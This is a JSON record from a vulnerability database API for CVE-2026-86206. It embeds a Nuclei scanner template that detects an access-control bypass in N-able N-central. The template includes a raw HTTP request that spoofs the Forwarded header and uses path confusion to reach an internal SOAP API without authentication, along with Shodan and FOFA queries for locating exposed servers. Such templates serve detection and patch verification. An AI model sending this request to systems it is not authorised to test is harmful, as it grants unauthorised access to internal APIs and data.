{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-86206/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-86206/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-86206/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-86206/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-86206/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-86206/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-86206"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-86206"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-86206.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-86206\n\ninfo:\n  name: N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing\n  author: rapid7,DhiyaneshDk\n  severity: critical\n  description: |\n    A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4\n  impact: |\n    Unauthorised attackers can access internal APIs, potentially leading to data exposure or manipulation.\n  remediation: Update to version 2026.3 HF3 or 2026.4.\n  reference:\n    - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/\n    - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis\n    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-86206\n    epss-score: 0.01118\n    epss-percentile: 0.66239\n    cwe-id: CWE-284\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: n-able\n    product: n-central\n    shodan-query: title:\"N-central\"\n    fofa-query: title=\"N-central\"\n  tags: cve,cve2026,n-able,n-central,auth-bypass,acl-bypass,soap,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /dms;/services/ServerUI HTTP/1.1\n        Host: {{Hostname}}\n        Forwarded: for=\"127.0.0.\\1\"\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"\"\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ei=\"http://ei.server.nable.com\">\n          <soapenv:Body>\n            <ei:sessionHello>\n              <ei:in0>3</ei:in0>\n            </ei:sessionHello>\n          </soapenv:Body>\n        </soapenv:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'SessionID')\"\n          - \"contains(content_type, 'text/xml')\"\n        condition: and\n\n      - type: dsl\n        dsl:\n          - \"status_code == 500\"\n          - \"contains(body, 'ServerDMS')\"\n          - \"contains(content_type, 'text/xml')\"\n        condition: and\n# digest: 4a0a00473045022100ff24becccbe6430a0dde1ea5209d1bb8afee7efad1ba7424b07ea7e71003fe020220540dd36e5c7e5416a2e7d21d95c07a8cf2e440b0d2a0c60e792399ba6b894c77:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-86206"}